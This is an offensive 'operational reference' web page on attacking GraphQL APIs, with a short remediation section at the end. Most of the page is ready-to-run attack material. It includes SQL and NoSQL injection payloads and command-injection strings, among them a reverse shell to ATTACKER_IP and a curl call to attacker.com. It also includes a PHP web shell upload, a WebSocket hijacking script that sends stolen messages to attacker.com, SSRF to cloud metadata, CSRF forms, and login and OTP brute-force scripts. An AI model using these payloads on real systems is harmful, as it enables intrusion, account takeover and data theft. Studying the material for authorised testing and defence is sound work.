ᛉ Yggdrasil

Web

GraphQL Attacks

15 Sep 2026 · 5,910 words · 27 min

Contents

A complete operational reference for GraphQL security testing covering reconnaissance via introspection, information disclosure, injection attacks, authentication/authorization bypass, DoS via query complexity, batching abuse, IDOR, file upload abuse, WebSocket attacks, WAF bypass, tooling, and remediation. Mapped to MITRE ATT&CK T1190 / T1059.


1. Core Concepts & Attack Surface

GRAPHQL ATTACK SURFACE TAXONOMY:

GRAPHQL ATTACKS
├── RECONNAISSANCE
│   ├── Introspection — enumerate full schema (types, queries, mutations, fields)
│   ├── Field Suggestion — server hints even when introspection is disabled
│   └── clairvoyance — wordlist-driven schema reconstruction
│
├── INJECTION
│   ├── SQL Injection via GraphQL arguments
│   ├── NoSQL Injection (MongoDB operators)
│   ├── OS Command Injection via resolver
│   └── SSTI via template-rendered fields
│
├── AUTHORIZATION
│   ├── IDOR — swap IDs in queries/mutations
│   ├── Privilege Escalation — access admin mutations as regular user
│   ├── Object-level bypass — query objects you don't own
│   └── Field-level bypass — access hidden fields not shown in UI
│
├── ABUSE
│   ├── Query batching → brute force / rate limit bypass
│   ├── Alias abuse → same as batching but single request
│   ├── Deeply nested queries → CPU/memory DoS
│   ├── Circular queries → infinite loop DoS
│   └── Field duplication → bandwidth amplification
│
├── TRANSPORT
│   ├── CSRF → no CORS protection, GET-based mutations
│   ├── WebSocket hijacking → subscriptions
│   └── File upload abuse → multipart extension
│
└── SECOND-ORDER
    └── Stored payloads in mutations → triggered by later queries

Key Terms: - Schema — defines all types, queries, mutations, subscriptions available on the API. - Query — read-only operation (like GET in REST). - Mutation — write operation (like POST/PUT/DELETE in REST). - Subscription — real-time operation over WebSocket. - Resolver — server-side function that handles a field. This is where injection happens. - Introspection — built-in GraphQL mechanism to query the schema itself (__schema, __type). - Field Suggestion — when you typo a field name, GraphQL often responds: "Did you mean X?" — leaks schema even without introspection. - Batching — GraphQL allows sending an array of operations in one HTTP request. - Alias — allows multiple calls to the same field with different arguments in one query. - Fragment — reusable selection set that can be used to amplify query size.

Why It's Different from REST: - Single endpoint (/graphql) handles everything — no per-endpoint rate limiting possible without custom logic. - Client defines the shape of the response — attackers can ask for fields the UI never uses. - Introspection is on by default in most frameworks — full schema discovery is trivial. - Batching is a first-class feature — designed to allow multiple operations per request, trivially abused for brute force.


2. Endpoint Discovery & Fingerprinting

2.1 Common GraphQL Endpoints

# Common paths to probe:
/graphql
/api/graphql
/v1/graphql
/v2/graphql
/gql
/query
/api
/api/v1/graphql
/graphql/v1
/graphql/console
/graphql/playground
/graphiql
/playground
/explorer
/altair

2.2 Probing with curl

# Send a minimal introspection probe — 200 response + JSON body = GraphQL endpoint
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}' | jq .

# Expected response if GraphQL:
# { "data": { "__typename": "Query" } }

# Try GET-based query (some endpoints accept GET):
curl -s "https://target.com/graphql?query={__typename}"

2.3 Fingerprinting the Framework

# Error messages and headers reveal the backend:
# Apollo Server     → "errors":[{"extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]
# Hasura            → "errors":[{"extensions":{"code":"parse-failed"}}]
# graphql-java      → X-Powered-By: graphql-java
# Strawberry/Python → error format differs
# graphene-django   → Django-specific errors in 400 responses

# graphw00f — automated framework detection:
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Identifies: Apollo, Hasura, graphene, Graphene-Django, HyperGraphQL,
#             Lighthouse, Graphqlite, Siler, Sangria, Flutter Strawberry, etc.

2.4 Quick Manual Probe Payloads

# Minimal valid query — always try first:
{ __typename }

# List root query type name:
{ __schema { queryType { name } } }

# Trigger error to reveal framework info:
{ __schema }

# Test mutation support:
mutation { __typename }

3. Introspection Attacks

HOW IT WORKS: GraphQL introspection is a built-in mechanism that lets clients query the full schema. When enabled (default in most frameworks), a single request reveals every type, query, mutation, field, argument, and their types — a complete API map without any authentication.

3.1 Full Schema Dump — Single Query

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args { ...InputValue }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args { ...InputValue }
    type { ...TypeRef }
    isDeprecated
    deprecationReason
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
  possibleTypes { ...TypeRef }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
      }
    }
  }
}
# Execute via curl:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{queryType{name}mutationType{name}types{kind name fields(includeDeprecated:true){name args{name type{kind name ofType{kind name}}}type{kind name ofType{kind name}}}}}}"}' \
  | jq . > schema_dump.json

3.2 Extract Just Queries & Mutations

# List all available queries:
{
  __schema {
    queryType {
      fields {
        name
        description
        args {
          name
          type { kind name ofType { kind name } }
        }
      }
    }
  }
}

# List all available mutations:
{
  __schema {
    mutationType {
      fields {
        name
        description
        args {
          name
          type { kind name ofType { kind name } }
        }
      }
    }
  }
}

3.3 Inspect a Specific Type

# Get all fields of a specific type (e.g., User):
{
  __type(name: "User") {
    name
    fields {
      name
      type { kind name ofType { kind name } }
    }
  }
}

3.4 InQL — Automated Introspection + Wordlist Generation

# Install:
pip install inql

# Run against target — dumps schema and generates wordlists:
inql -t https://target.com/graphql -o ./output/

# With authentication:
inql -t https://target.com/graphql \
  -H "Authorization: Bearer <TOKEN>" \
  -o ./output/

# Output includes:
# - schema.json          → raw schema
# - queries/             → all query templates
# - mutations/           → all mutation templates
# - Fragment wordlists for fuzzing

3.5 Bypassing Disabled Introspection

When __schema and __type return errors, try these:

# Method 1 — __type still works sometimes even when __schema is blocked:
{ __type(name: "Query") { fields { name } } }

# Method 2 — Field suggestion (always works, introspection doesn't affect this):
# Send a query with a typo and read the "Did you mean X?" suggestion:
{ uzer { id } }
# → "Cannot query field 'uzer' on type 'Query'. Did you mean 'user'?"

# Method 3 — Newline bypass (some WAFs/middleware block based on __schema string):
{ __schema
  { types { name } } }

# Method 4 — Fragment-based bypass:
fragment s on __Schema { types { name } }
{ ..s }

# Method 5 — GET request bypass (some servers only block POST introspection):
curl "https://target.com/graphql?query={__schema{types{name}}}"

# Method 6 — Content-Type bypass:
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'query={ __schema { types { name } } }'

3.6 clairvoyance — Schema Reconstruction Without Introspection

# Install:
pip install clairvoyance

# Run against target using default wordlist:
clairvoyance -u https://target.com/graphql -o schema.json

# With authentication header:
clairvoyance -u https://target.com/graphql \
  -H "Authorization: Bearer TOKEN" \
  -o schema.json

# Custom wordlist (use SecLists GraphQL wordlists):
clairvoyance -u https://target.com/graphql \
  -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
  -o schema.json

# How it works:
# Sends fields one by one and reads field-suggestion error messages
# Reconstructs the schema from the "Did you mean X?" hints
# Works even when introspection is fully disabled

4. Information Disclosure

4.1 Deprecated Fields Still Accessible

# Introspection returns deprecated fields when asked:
{
  __schema {
    types {
      fields(includeDeprecated: true) {
        name
        isDeprecated
        deprecationReason
      }
    }
  }
}

# Then directly query those deprecated fields — they're often still functional:
{
  user(id: 1) {
    id
    email
    password_hash    # deprecated, but resolver still returns it
    ssn              # deprecated and forgotten, but still resolves
  }
}

4.2 Hidden Fields — Not in UI, But in Schema

# After introspection dump, look for sensitive field names:
# grep for: password, hash, secret, key, token, internal, admin, ssn, dob, credit

# Example — UI shows only name and email, but schema has:
{
  user(id: 1) {
    id
    name
    email
    passwordHash       # not shown in UI, but resolver returns it
    totpSecret         # 2FA seed
    resetToken         # password reset token
    internalNotes      # admin-only field with no authz check
  }
}

4.3 Debug / Developer Endpoints Left Exposed

# Common developer/admin queries found after introspection:
{
  debugInfo { version buildHash dbConnectionString }
  adminUsers { id email role passwordHash }
  systemConfig { smtpPassword s3SecretKey stripeSecretKey }
  allLogs { timestamp userId action ip }
}

4.4 Error Message Leakage

# Malformed queries often leak stack traces, DB queries, or internal paths:
# Send invalid argument types:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: \"not-an-int\") { id } }"}'

# Inject SQL-like chars to trigger DB errors in the response:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: \"1 OR 1=1\") { id email } }"}'

# Check for verbose errors:
# Apollo → detailed error in development mode
# Hasura → full SQL error if not sanitized

5. Injection Attacks via GraphQL

KEY CONCEPT: GraphQL itself is not vulnerable — the resolver is. The resolver takes the argument value and passes it to a database, shell, or template. If the resolver doesn't sanitize, the GraphQL argument is the injection point.

5.1 SQL Injection

# Test with classic SQL break:
{ user(id: "1'") { id email } }
{ user(id: "1 OR 1=1") { id email } }
{ user(id: "1; DROP TABLE users --") { id email } }

# UNION-based (when the field is reflected):
{ search(term: "x' UNION SELECT null,username,password FROM users--") {
    results { id name }
  }
}

# Boolean-based blind:
{ user(id: "1 AND 1=1") { id } }   # → returns user
{ user(id: "1 AND 1=2") { id } }   # → returns null → SQLi confirmed

# Time-based blind (MySQL):
{ user(id: "1 AND SLEEP(5)") { id } }

# Time-based blind (PostgreSQL):
{ user(id: "1; SELECT PG_SLEEP(5)--") { id } }
# sqlmap against GraphQL:
# Method 1 — custom request with injection marker (*)
# Save this as req.txt:
# POST /graphql HTTP/1.1
# Host: target.com
# Content-Type: application/json
#
# {"query":"{ user(id: \"*\") { id email } }"}

sqlmap -r req.txt --dbms=mysql --batch --level=3

# Method 2 — inline:
sqlmap -u "https://target.com/graphql" \
  --data='{"query":"{ user(id: \"*\") { id email } }"}' \
  -p "query" \
  --dbms=mysql \
  --batch

5.2 NoSQL Injection (MongoDB / Mongoose)

# Classic MongoDB operator injection:
# Target: { user(email: "victim@example.com") { id } }

# Test — inject operators inside the string value:
{ user(email: {$gt: ""}) { id email password } }
{ user(email: {$ne: null}) { id email } }
{ user(email: {$regex: ".*"}) { id email } }

# If the API accepts JSON within the string argument:
{ user(filter: "{\"$where\": \"sleep(5000)\"}") { id } }

# Dump all users via regex:
{ users(filter: {email: {$regex: ".*@.*"}}) { id email password } }

# Login bypass (if resolver passes args to findOne directly):
{ login(email: {$ne: null}, password: {$ne: null}) { token } }

5.3 OS Command Injection

# Arguments passed to shell commands by the resolver:
{ ping(host: "8.8.8.8; id") { result } }
{ ping(host: "8.8.8.8 | cat /etc/passwd") { result } }
{ convertImage(filename: "image.jpg; curl http://attacker.com/$(id)") { url } }
{ exportReport(format: "pdf; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") { url } }

5.4 SSTI via GraphQL Arguments

# Template injection — if resolver renders argument in a template:
{ sendEmail(subject: "{{7*7}}", to: "test@example.com") { success } }
# → If email subject says "49" → SSTI confirmed

# Jinja2 (Python):
{ sendEmail(subject: "{{config.items()}}", to: "test@x.com") { success } }
{ sendEmail(subject: "{{''.__class__.__mro__[1].__subclasses__()}}", to: "t@x.com") { success } }

# Twig (PHP):
{ render(template: "{{7*'7'}}") { output } }   # → "49" = Twig, "7777777" = Jinja2
# File read arguments:
{ getFile(path: "../../etc/passwd") { content } }
{ downloadReport(filename: "../../../etc/shadow") { data } }
{ loadTemplate(name: "../../../../var/www/html/config.php") { content } }

6. Authentication & Authorization Bypass

6.1 Accessing Mutations Without Authentication

# Step 1: Dump all mutations via introspection
# Step 2: Try mutations without a token

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { createAdmin(username:\"hacker\",password:\"hacker123\") { id role } }"}'

# Common unprotected mutations to look for:
# registerUser, createUser, resetPassword, changeEmail
# deleteAccount, promoteToAdmin, updateRole

6.2 Privilege Escalation via Role/Admin Fields

# If createUser or updateUser allows setting the role field:
mutation {
  createUser(input: {
    username: "hacker"
    password: "hacker123"
    email: "hacker@evil.com"
    role: "admin"           # field not shown in UI but accepted by resolver
    isAdmin: true           # alternative field
  }) {
    id
    role
  }
}

6.3 JWT / Token Manipulation

# If JWT is used — standard attacks apply:
# 1. alg:none bypass:
#    Strip the signature, set "alg":"none"
# 2. HS256 → RS256 confusion
# 3. Weak secret brute-force with hashcat:
hashcat -a 0 -m 16500 <JWT> /usr/share/wordlists/rockyou.txt

# Test with no token — try accessing protected queries:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ adminUsers { id email role } }"}'

# Test with a regular user token accessing admin queries:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer REGULAR_USER_JWT" \
  -d '{"query":"{ adminUsers { id email role } }"}'

6.4 Mass Assignment via GraphQL Input Types

# updateProfile mutation might accept undocumented fields:
mutation {
  updateProfile(input: {
    displayName: "hacker"
    balance: 999999            # financial field
    credits: 9999              # game credits
    verified: true             # email-verified flag
    twoFactorEnabled: false    # disable 2FA
    subscriptionPlan: "enterprise"
  }) {
    id
    balance
    verified
  }
}

7. IDOR via GraphQL

7.1 Direct Object Reference in Queries

# Standard IDOR — change the ID:
# Logged in as user 42, try fetching user 1 (admin):
{ user(id: 1) { id email passwordHash role apiKey } }
{ user(id: 2) { id email } }
{ user(id: 3) { id email } }

# IDOR in mutation — change other users' data:
mutation {
  updateUser(id: 1, input: { email: "attacker@evil.com" }) { id email }
}

# Delete other users' resources:
mutation {
  deletePost(id: 99) { success }
}

7.2 UUID/GUID Enumeration

# UUIDs aren't random if generated by the server predictably
# Or if the app leaks them via other endpoints:

# Enumerate via alias batching (see Section 9):
{
  u1: user(id: "550e8400-e29b-41d4-a716-446655440000") { id email }
  u2: user(id: "550e8400-e29b-41d4-a716-446655440001") { id email }
  u3: user(id: "550e8400-e29b-41d4-a716-446655440002") { id email }
}

7.3 IDOR in Nested Object Queries

# Access orders from another user by querying via a shared object:
{
  order(id: 1337) {
    id
    owner {
      id
      email         # reveals another user's data
      paymentMethod { last4 cardType billingAddress }
    }
    items { name price }
  }
}

8. Denial of Service — Query Complexity & Depth

8.1 Deeply Nested Queries (Stack Overflow / Timeout)

# If the server allows circular type references:
# Schema: User has friends: [User], Post has author: User, User has posts: [Post]

# Deeply nested circular query:
{
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends {
                  id email
                }
              }
            }
          }
        }
      }
    }
  }
}

# Post → Author → Posts → Author → Posts... circular:
{
  post(id: 1) {
    author {
      posts {
        author {
          posts {
            author {
              posts {
                id title
              }
            }
          }
        }
      }
    }
  }
}

8.2 Field Duplication / Over-fetching

# Request the same expensive field thousands of times:
{
  user(id: 1) {
    email email email email email email email email email email
    email email email email email email email email email email
    # ... repeat 1000x
  }
}

8.3 Fragment-Based Amplification (Fragment Bombs)

# Fragment bombs — exponential explosion of field resolution:
fragment fields on User {
  id email name role
  friends { id email name role }
}

{
  u1: user(id: 1) { ...fields ...fields ...fields ...fields ...fields }
  u2: user(id: 2) { ...fields ...fields ...fields ...fields ...fields }
  u3: user(id: 3) { ...fields ...fields ...fields ...fields ...fields }
  u4: user(id: 4) { ...fields ...fields ...fields ...fields ...fields }
}

8.4 Batch Query DoS

# Send 1000 operations in a single batch request:
python3 - <<'EOF'
import json, requests

ops = [{"query": "{ users { id email } }"}] * 1000
r = requests.post(
    "https://target.com/graphql",
    json=ops,
    headers={"Content-Type": "application/json"}
)
print(r.status_code, len(r.content))
EOF

9. Batching & Alias Abuse

HOW IT WORKS: GraphQL allows multiple operations per request (array batching) and multiple calls to the same field with different arguments (alias). This is intended to reduce HTTP round trips but is trivially abused to bypass rate limits and brute force credentials.

9.1 Array Batching for Rate Limit Bypass

# Brute force login via batch — all 100 attempts in ONE request:
python3 - <<'EOF'
import json, requests

passwords = open("/usr/share/wordlists/common.txt").read().splitlines()[:100]
batch = [
    {
        "query": """
        mutation Login($p: String!) {
          login(username: "admin", password: $p) { token }
        }
        """,
        "variables": {"p": pw}
    }
    for pw in passwords
]

r = requests.post(
    "https://target.com/graphql",
    json=batch,
    headers={"Content-Type": "application/json"}
)

for i, result in enumerate(r.json()):
    if result.get("data", {}).get("login", {}).get("token"):
        print(f"[+] FOUND: {passwords[i]}")
        break
EOF

9.2 Alias Abuse — Multiple Logins in One Request

# 5 login attempts in a single HTTP request — one rate-limit hit:
mutation {
  a1: login(username: "admin", password: "password") { token }
  a2: login(username: "admin", password: "admin123") { token }
  a3: login(username: "admin", password: "123456") { token }
  a4: login(username: "admin", password: "letmein") { token }
  a5: login(username: "admin", password: "qwerty") { token }
}

9.3 OTP / 2FA Bypass via Alias Batching

# Brute-force a 4-digit OTP (10000 combos) in batches of 1000:
mutation {
  otp0000: verifyOTP(code: "0000") { success token }
  otp0001: verifyOTP(code: "0001") { success token }
  otp0002: verifyOTP(code: "0002") { success token }
  # ... up to 0999 in batch 1
  # Then batch 2: 1000–1999, etc.
}
# Full OTP brute force script:
import requests, json

TARGET = "https://target.com/graphql"
BATCH_SIZE = 100

def build_batch(start, end):
    aliases = []
    for i in range(start, end):
        code = str(i).zfill(4)
        aliases.append(f'otp{code}: verifyOTP(code: "{code}") {{ success token }}')
    query = "mutation {\n" + "\n".join(aliases) + "\n}"
    return {"query": query}

for batch_start in range(0, 10000, BATCH_SIZE):
    payload = build_batch(batch_start, min(batch_start + BATCH_SIZE, 10000))
    r = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
    for key, val in r.json().get("data", {}).items():
        if val and val.get("token"):
            print(f"[+] Valid OTP: {key.replace('otp','')}, Token: {val['token']}")
            exit()

9.4 Email Enumeration via Alias

{
  u1: userExists(email: "admin@target.com") { exists }
  u2: userExists(email: "test@target.com") { exists }
  u3: userExists(email: "info@target.com") { exists }
  u4: userExists(email: "support@target.com") { exists }
  u5: userExists(email: "billing@target.com") { exists }
}

10. File Upload Abuse

10.1 GraphQL Multipart Upload (graphql-multipart-request-spec)

# Standard GraphQL file upload via multipart:
curl -s -X POST https://target.com/graphql \
  -F 'operations={"query":"mutation Upload($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F 'map={"0":["variables.file"]}' \
  -F '0=@/tmp/test.txt;type=text/plain'

10.2 Web Shell Upload via GraphQL

# Upload PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

curl -s -X POST https://target.com/graphql \
  -F 'operations={"query":"mutation Upload($file: Upload!) { uploadAvatar(file: $file) { url } }","variables":{"file":null}}' \
  -F 'map={"0":["variables.file"]}' \
  -F '0=@/tmp/shell.php;type=image/jpeg'

# Then: curl https://target.com/uploads/shell.php?cmd=id

10.3 SSRF via File URL / Remote Fetch Mutations

# Some mutations accept URLs and fetch them server-side:
mutation {
  importFromURL(url: "http://169.254.169.254/latest/meta-data/") { content }
  uploadFromURL(url: "http://internal-service:8080/admin") { result }
  fetchWebhook(url: "http://attacker.com/exfil?data=test") { success }
}

11. WebSocket / Subscription Attacks

11.1 Hijacking GraphQL Subscriptions

// GraphQL subscriptions run over WebSocket (graphql-ws or subscriptions-transport-ws)
// If no auth check on the subscription resolver, anyone can subscribe:

// Connect via wscat:
// npm install -g wscat
// wscat -c wss://target.com/graphql -H "Upgrade: websocket"

// graphql-ws protocol — init then subscribe:
const ws = new WebSocket("wss://target.com/graphql", "graphql-transport-ws");

ws.onopen = () => {
  // Step 1: connection_init (send with another user's token if hijacked)
  ws.send(JSON.stringify({ type: "connection_init", payload: { authorization: "Bearer VICTIM_TOKEN" } }));
};

ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  if (msg.type === "connection_ack") {
    // Step 2: subscribe to sensitive data stream
    ws.send(JSON.stringify({
      id: "1",
      type: "subscribe",
      payload: {
        query: `subscription { messageReceived { from content timestamp } }`
      }
    }));
  }
  console.log(msg);
};

11.2 Cross-Site WebSocket Hijacking (CSWSH) via Subscriptions

<!-- If the WebSocket upgrade doesn't validate Origin, embed in attacker page: -->
<script>
  const ws = new WebSocket("wss://target.com/graphql", "graphql-transport-ws");
  ws.onopen = () => {
    ws.send(JSON.stringify({ type: "connection_init", payload: {} }));
  };
  ws.onmessage = (e) => {
    // Exfiltrate received messages to attacker server:
    fetch("https://attacker.com/log?d=" + encodeURIComponent(e.data));
  };
</script>

12. CSRF over GraphQL

12.1 GET-Based Mutation CSRF

<!-- If the server allows mutations over GET:
     https://target.com/graphql?query=mutation{deleteAccount{success}}
     Just embed in an <img> or <script src>: -->

<img src="https://target.com/graphql?query=mutation{deleteAccount{success}}" />
<script src="https://target.com/graphql?query=mutation{changeEmail(email:'attacker@evil.com'){success}}"></script>

12.2 POST-Based CSRF (No CORS Check)

<!-- If Content-Type: application/json isn't enforced for CORS,
     use text/plain to bypass preflight: -->
<html>
  <body onload="document.forms[0].submit()">
    <form method="POST" action="https://target.com/graphql"
          enctype="text/plain">
      <!-- The form field name is the entire JSON payload with no value -->
      <input name='{"query":"mutation{changeEmail(email:\"attacker@evil.com\"){success}}","variables":{}}' value=''>
    </form>
  </body>
</html>

12.3 CSRF via application/x-www-form-urlencoded

<!-- Some GraphQL servers accept urlencoded bodies: -->
<html>
  <body onload="document.forms[0].submit()">
    <form method="POST" action="https://target.com/graphql">
      <input name="query" value='mutation { changePassword(new: "hacked123") { success } }'>
    </form>
  </body>
</html>

13. WAF & Filter Bypass

13.1 Query Obfuscation — Whitespace & Encoding

# Minified — no spaces (bypass keyword-length WAF rules):
{user(id:1){id email passwordHash}}

# Maximum whitespace:
{
  user  (  id  :  1  )  {
    id
    email
    passwordHash
  }
}

# Inline comment injection (GraphQL supports # comments):
{
  user(id: 1) { # get admin
    id
    email
  }
}

13.2 Variable Exfiltration — Move Payloads to Variables

# Instead of embedding the injection in the query string (WAF sees it),
# move it to the variables JSON (WAFs often inspect less):

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query GetUser($id: String!) { user(id: $id) { id email } }",
    "variables": { "id": "1 OR 1=1 --" }
  }'

13.3 Directive Injection

# Use @skip and @include directives to split up blocked strings:
{
  user(id: 1) {
    email @skip(if: false)
    passwordHash @include(if: true)
  }
}

13.4 Aliases to Rename Blocked Fields

# If "adminUsers" is blocked by WAF keyword:
{
  a: admin_users { id email role }
  b: adminUser(id: 1) { id email }
}

13.5 Content-Type Bypass

# Try different Content-Types — some WAFs only inspect application/json:
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/graphql" \
  --data '{ user(id: 1) { id email passwordHash } }'

# x-www-form-urlencoded:
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'query={ user(id: 1) { id email } }'

14. Tooling — clairvoyance, graphw00f, InQL, Altair

14.1 graphw00f — Framework Fingerprinting

pip install graphw00f

# Detect the GraphQL engine/framework:
graphw00f -d -t https://target.com/graphql

# With auth:
graphw00f -d -t https://target.com/graphql \
  -H "Authorization: Bearer TOKEN"

# Output: identifies Apollo, Hasura, graphene-django, HyperGraphQL,
#         Lighthouse (Laravel), Strawberry, Siler, gqlgen, etc.
# Useful: each framework has known CVEs and specific bypass techniques

14.2 InQL — Introspection + Burp Integration

# CLI usage:
pip install inql
inql -t https://target.com/graphql -o ./graphql_output/

# With headers:
inql -t https://target.com/graphql \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer TOKEN" \
  -o ./output/

# Burp Suite extension:
# Install InQL from BApp Store
# Right-click any GraphQL request → Send to InQL Scanner
# Automatically generates all queries and mutations as Burp tabs
# Then use Burp Repeater / Intruder on each

14.3 clairvoyance — Blind Schema Reconstruction

pip install clairvoyance

# Basic run:
clairvoyance -u https://target.com/graphql -o schema.json

# With custom wordlist:
clairvoyance -u https://target.com/graphql \
  -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
  -o schema.json

# Load reconstructed schema into InQL:
inql -s schema.json -o ./output/

14.4 sqlmap Against GraphQL Endpoints

# Save a raw Burp request as req.txt with the injection point marked:
# POST /graphql HTTP/1.1
# Host: target.com
# Content-Type: application/json
#
# {"query":"{ user(id: FUZZ) { id email } }"}

# Use -p with the body parameter and inject marker:
sqlmap -r req.txt \
  --data='{"query":"{ user(id: \"*\") { id email } }"}' \
  --dbms=postgresql \
  --level=3 \
  --batch

# With authentication:
sqlmap -r req.txt \
  --headers="Authorization: Bearer TOKEN" \
  --dbms=mysql \
  --batch \
  --dbs

14.5 Altair GraphQL Client (Manual Testing)

# Install Altair (desktop GraphQL client):
# → https://altairgraphql.dev/ (cross-platform)
# → Chrome extension available

# Use for:
# 1. Visual introspection explorer
# 2. Manual query/mutation testing
# 3. Setting custom headers (Authorization, Cookie)
# 4. Subscription testing via WebSocket
# 5. Export collections for team sharing

14.6 Automated Scan with Nuclei

# GraphQL-specific templates:
nuclei -u https://target.com/graphql \
  -t nuclei-templates/vulnerabilities/graphql/ \
  -v

# Introspection detection:
nuclei -u https://target.com/graphql \
  -t nuclei-templates/exposures/apis/graphql-introspection.yaml \
  -v

# Custom one-liner check:
nuclei -u https://target.com \
  -t nuclei-templates/ \
  -tags graphql \
  -v

15. Remediation

15.1 Disable Introspection in Production

// Apollo Server 3+:
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',
});

// Apollo Server 4+:
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: false,   // disable permanently
});
# Graphene (Python):
schema = graphene.Schema(query=Query, mutation=Mutation)
# Disable via middleware or custom validation rule
from graphql.validation import NoSchemaIntrospectionCustomRule
# Add rule to execution context
// Lighthouse (Laravel):
// config/lighthouse.php
'security' => [
    'disable_introspection' => env('LIGHTHOUSE_SECURITY_DISABLE_INTROSPECTION', true),
],

15.2 Input Validation & Parameterized Resolvers

// VULNERABLE resolver — passes arg directly to DB:
const resolvers = {
  Query: {
    user: async (_, { id }) => {
      return db.query(`SELECT * FROM users WHERE id = ${id}`);  // SQLi
    }
  }
};

// SAFE — parameterized query:
const resolvers = {
  Query: {
    user: async (_, { id }) => {
      return db.query("SELECT * FROM users WHERE id = $1", [id]);
    }
  }
};

// SAFE — ORM:
const resolvers = {
  Query: {
    user: async (_, { id }) => {
      return User.findByPk(id);
    }
  }
};

15.3 Query Depth & Complexity Limits

// Apollo Server — graphql-depth-limit + graphql-query-complexity:
const { createComplexityLimitRule } = require('graphql-query-complexity');
const depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    depthLimit(5),                          // max 5 levels deep
    createComplexityLimitRule(1000, {       // max complexity score 1000
      onCost: (cost) => console.log('Query cost:', cost),
    }),
  ],
});

15.4 Disable or Limit Batching

// Apollo Server — disable array batching:
const server = new ApolloServer({
  typeDefs,
  resolvers,
  allowBatchedHttpRequests: false,   // default is false in Apollo Server 4
});

// Or limit batch size:
// Use a custom middleware that rejects arrays > 5 operations
app.use('/graphql', (req, res, next) => {
  if (Array.isArray(req.body) && req.body.length > 5) {
    return res.status(400).json({ error: "Batch size exceeded" });
  }
  next();
});

15.5 Authorization — Field-Level & Object-Level

// Field-level authorization with graphql-shield:
const { shield, rule, and } = require('graphql-shield');

const isAuthenticated = rule()(async (parent, args, ctx) => {
  return ctx.user !== null;
});

const isAdmin = rule()(async (parent, args, ctx) => {
  return ctx.user?.role === 'admin';
});

const permissions = shield({
  Query: {
    user: isAuthenticated,
    adminUsers: and(isAuthenticated, isAdmin),
  },
  Mutation: {
    deleteUser: and(isAuthenticated, isAdmin),
    updateRole: and(isAuthenticated, isAdmin),
  },
  User: {
    passwordHash: isAdmin,    // field-level — only admin can see this
    totpSecret: isAdmin,
  },
});
# Object-level authorization — always check ownership:
class PostResolver:
    def resolve_post(root, info, id):
        post = Post.objects.get(pk=id)
        if post.author_id != info.context.user.id:
            raise GraphQLError("Forbidden")  # IDOR prevention
        return post

15.6 Rate Limiting

// Per-IP rate limit on GraphQL endpoint:
const rateLimit = require('express-rate-limit');

const graphqlLimiter = rateLimit({
  windowMs: 60 * 1000,  // 1 minute
  max: 100,             // 100 requests per IP per minute
  message: "Too many requests"
});

app.use('/graphql', graphqlLimiter);

// Per-user resolver-level rate limit (for mutation abuse):
// Use graphql-rate-limit package for field-level throttling
const { createRateLimitRule } = require('graphql-rate-limit');

const rateLimitRule = createRateLimitRule({
  identifyContext: (ctx) => ctx.user?.id || ctx.ip,
});

const permissions = shield({
  Mutation: {
    login: rateLimitRule({ window: '1m', max: 5 }),   // 5 logins/min
    verifyOTP: rateLimitRule({ window: '1m', max: 5 }),
  },
});

15.7 Disable Field Suggestions

// Apollo Server — mask schema suggestions:
const { ApolloServerPluginLandingPageDisabled } = require('@apollo/server/plugin/disabled');
const { hideSchemaDetails } = require('some-middleware');

// Or use a custom error formatter to strip suggestions:
const server = new ApolloServer({
  typeDefs,
  resolvers,
  formatError: (error) => {
    // Strip "Did you mean X?" from errors in production:
    if (process.env.NODE_ENV === 'production') {
      error.message = error.message.replace(/Did you mean.*\?/g, '');
    }
    return error;
  }
});

15.8 Defense-in-Depth Summary

PRIMARY CONTROLS:
├── Disable introspection in production
├── Parameterized queries in every resolver (no string concat)
├── Object-level authz (always check ownership in resolvers)
├── Field-level authz (hide sensitive fields from non-admins)
└── Input validation (type coercion, allowlists for enums)

SECONDARY CONTROLS:
├── Query depth limit (max 5–7 levels)
├── Query complexity limit (score-based)
├── Batch request limit (max 5–10 per request)
├── Alias limit per query
├── Field suggestion masking in production
├── Resolver-level rate limiting (login, OTP, register)
